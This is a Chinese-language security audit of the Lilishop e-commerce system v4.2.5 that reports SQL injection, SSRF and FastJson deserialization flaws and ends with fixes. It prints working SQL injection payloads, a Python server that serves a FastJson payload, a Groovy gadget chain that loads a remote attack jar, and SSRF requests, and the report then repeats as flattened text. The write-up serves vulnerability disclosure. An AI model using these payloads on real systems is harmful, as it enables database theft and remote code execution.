Lilishop 开源商城系统代码审计
字数 1460 2025-08-06 08:35:09

Lilishop 开源商城系统代码审计报告

0x00 前言

Lilishop 是基于SpringBoot的全端开源电商商城系统,由北京宏业汇成科技有限公司开发。本报告详细分析了该系统v4.2.5版本中存在的安全漏洞,包括SQL注入、SSRF和FastJson反序列化等高风险漏洞。

0x01 环境搭建

系统要求

  • 内存:≥32GB
  • Java版本:1.8.0_381
  • Nodejs版本:v14.21.3

安装步骤

  1. 拉取后端源码

    git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop.git
    
  2. 拉取前端源码

    git clone -b v4.2.5 --single-branch https://gitee.com/beijing_hongye_huicheng/lilishop-ui.git
    
  3. 前端初始化

    npm install yarn
    yarn install 
    yarn run dev
    
  4. 解决安装问题

    yarn remove webpack
    yarn remove compression-webpack-plugin
    yarn add webpack@^4.36.0
    yarn add compression-webpack-plugin@^6.0.5
    

0x02 高危漏洞分析

1. 分页插件导致SQL注入

漏洞位置

  • 前台:获取APP版本接口 /buyer/other/appVersion/appVersion/ANDROID
  • 后台:计量单位接口 /manager/goods/goodsUnit

漏洞复现

前台示例

GET /buyer/other/appVersion/appVersion/ANDROID?pageNumber=1&pageSize=5&type=ANNOUNCEMENT&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc HTTP/1.1

后台示例

GET /manager/goods/goodsUnit?_t=1690460576&pageNumber=1&pageSize=10&sort=updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0x7e),1)&order=desc&name= HTTP/1.1

布尔注入示例

1-if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=108,1,(select 1 union select 2))

漏洞分析

  • 问题位于PageUtil.initPage函数中,未对sort参数进行SQL语句过滤
  • MybatisPlus在order by场景下没有安全措施
  • 虽然Druid有拦截功能,但默认函数黑名单不完善

2. SSRF导致FastJson反序列化RCE

漏洞复现

步骤1:准备FastJson payload服务器

from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(200)
        self.send_header('Content-type', 'application/json')
        self.end_headers()
        
        if self.path == '/getmsg':
            response_data = '{"@type":"java.net.InetSocketAddress"{"address":,"val":"z1vpgb.dnslog.cn"}}'
            self.wfile.write(response_data.encode())

def start_http_server(port=14533):
    server_address = ('', port) 
    httpd = HTTPServer(server_address, MyHTTPRequestHandler)
    httpd.serve_forever()

if __name__ == '__main__':
    start_http_server()

步骤2:修改物流设置

  1. 登录运营后台 http://localhost:10003/sys/setting
  2. 设置->系统设置->快递鸟设置
  3. 将reqURL修改为http://127.0.0.1:14533/getmsg

步骤3:触发漏洞

  • 查看已发货订单的物流信息
  • 或打印电子面单时触发

利用FastJson 1.2.78 RCE

Groovy利用链

{
  "@type":"java.lang.Exception",
  "@type":"org.codehaus.groovy.control.CompilationFailedException",
  "unit":{}
}

{
  "@type":"org.codehaus.groovy.control.ProcessingUnit",
  "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  "config":{
    "@type":"org.codehaus.groovy.control.CompilerConfiguration",
    "classpathList":["http://127.0.0.1:35260/attack-1.jar"]
  },
  "gcl":null,
  "destDir":"/tmp"
}

漏洞分析

  • LogisticsServiceImpl.getOrderTracesByJson方法中:
    String result = sendPost(ReqURL, params);
    Map map = (Map) JSON.parse(result);
    
  • 未验证ReqURL来源,导致SSRF
  • 未对FastJson反序列化内容进行过滤

3. 商家后台添加商品处SSRF

漏洞复现

  1. 登录卖家后台 http://localhost:10002/liveGoods
  2. 营销->直播商品->添加商品
  3. 抓包修改goodsImage参数

请求示例

POST /store/broadcast/commodity HTTP/1.1
Host: localhost:8889
Content-Type: application/json

[
  {
    "goodsId": "1422073672823595010",
    "goodsImage": "http://127.0.0.1:4567",
    "name": "OPPO Reno6 5G",
    "price": 4999,
    "quantity": 95,
    "price2": "",
    "priceType": 1,
    "skuId": "1422073673050087425",
    "url": "pages/product/goods?id=1422073673050087425&goodsId=1422073672823595010"
  }
]

后续利用

  • 探测内网Docker 2375端口
  • 利用Docker API的/build功能实现RCE

漏洞分析

  • WechatMediaUtil.getUrl方法未验证图片URL
  • CommodityServiceImpl.addCommodity方法直接使用外部URL

0x03 修复建议

  1. SQL注入

    • PageUtil.initPage中添加SQL过滤
    • 使用预编译语句处理order by参数
  2. FastJson反序列化

    • 升级FastJson至最新安全版本
    • 使用JSON.parseObject替代JSON.parse
    • 配置SafeMode或自定义反序列化过滤器
  3. SSRF漏洞

    • 验证所有外部URL请求
    • 限制请求协议为HTTPS
    • 使用白名单方式限制域名
  4. 权限控制

    • 加强后台操作权限验证
    • 关键配置修改需二次认证

0x04 总结

Lilishop系统存在多处高危漏洞,主要问题包括:

  1. 分页插件导致的SQL注入影响数十个接口
  2. SSRF结合FastJson反序列化可实现RCE
  3. 多处未验证的外部URL请求导致SSRF

审计SpringBoot系统时应重点关注:

  • 分页排序参数处理
  • 外部URL请求验证
  • 反序列化操作安全
  • 权限控制机制
Lilishop 开源商城系统代码审计报告 0x00 前言 Lilishop 是基于SpringBoot的全端开源电商商城系统,由北京宏业汇成科技有限公司开发。本报告详细分析了该系统v4.2.5版本中存在的安全漏洞,包括SQL注入、SSRF和FastJson反序列化等高风险漏洞。 0x01 环境搭建 系统要求 内存:≥32GB Java版本:1.8.0_ 381 Nodejs版本:v14.21.3 安装步骤 拉取后端源码 : 拉取前端源码 : 前端初始化 : 解决安装问题 : 0x02 高危漏洞分析 1. 分页插件导致SQL注入 漏洞位置 前台:获取APP版本接口 /buyer/other/appVersion/appVersion/ANDROID 后台:计量单位接口 /manager/goods/goodsUnit 漏洞复现 前台示例 : 后台示例 : 布尔注入示例 漏洞分析 问题位于 PageUtil.initPage 函数中,未对 sort 参数进行SQL语句过滤 MybatisPlus在order by场景下没有安全措施 虽然Druid有拦截功能,但默认函数黑名单不完善 2. SSRF导致FastJson反序列化RCE 漏洞复现 步骤1 :准备FastJson payload服务器 步骤2 :修改物流设置 登录运营后台 http://localhost:10003/sys/setting 设置->系统设置->快递鸟设置 将reqURL修改为 http://127.0.0.1:14533/getmsg 步骤3 :触发漏洞 查看已发货订单的物流信息 或打印电子面单时触发 利用FastJson 1.2.78 RCE Groovy利用链 : 漏洞分析 LogisticsServiceImpl.getOrderTracesByJson 方法中: 未验证 ReqURL 来源,导致SSRF 未对FastJson反序列化内容进行过滤 3. 商家后台添加商品处SSRF 漏洞复现 登录卖家后台 http://localhost:10002/liveGoods 营销->直播商品->添加商品 抓包修改 goodsImage 参数 请求示例 : 后续利用 探测内网Docker 2375端口 利用Docker API的 /build 功能实现RCE 漏洞分析 WechatMediaUtil.getUrl 方法未验证图片URL CommodityServiceImpl.addCommodity 方法直接使用外部URL 0x03 修复建议 SQL注入 : 在 PageUtil.initPage 中添加SQL过滤 使用预编译语句处理order by参数 FastJson反序列化 : 升级FastJson至最新安全版本 使用 JSON.parseObject 替代 JSON.parse 配置SafeMode或自定义反序列化过滤器 SSRF漏洞 : 验证所有外部URL请求 限制请求协议为HTTPS 使用白名单方式限制域名 权限控制 : 加强后台操作权限验证 关键配置修改需二次认证 0x04 总结 Lilishop系统存在多处高危漏洞,主要问题包括: 分页插件导致的SQL注入影响数十个接口 SSRF结合FastJson反序列化可实现RCE 多处未验证的外部URL请求导致SSRF 审计SpringBoot系统时应重点关注: 分页排序参数处理 外部URL请求验证 反序列化操作安全 权限控制机制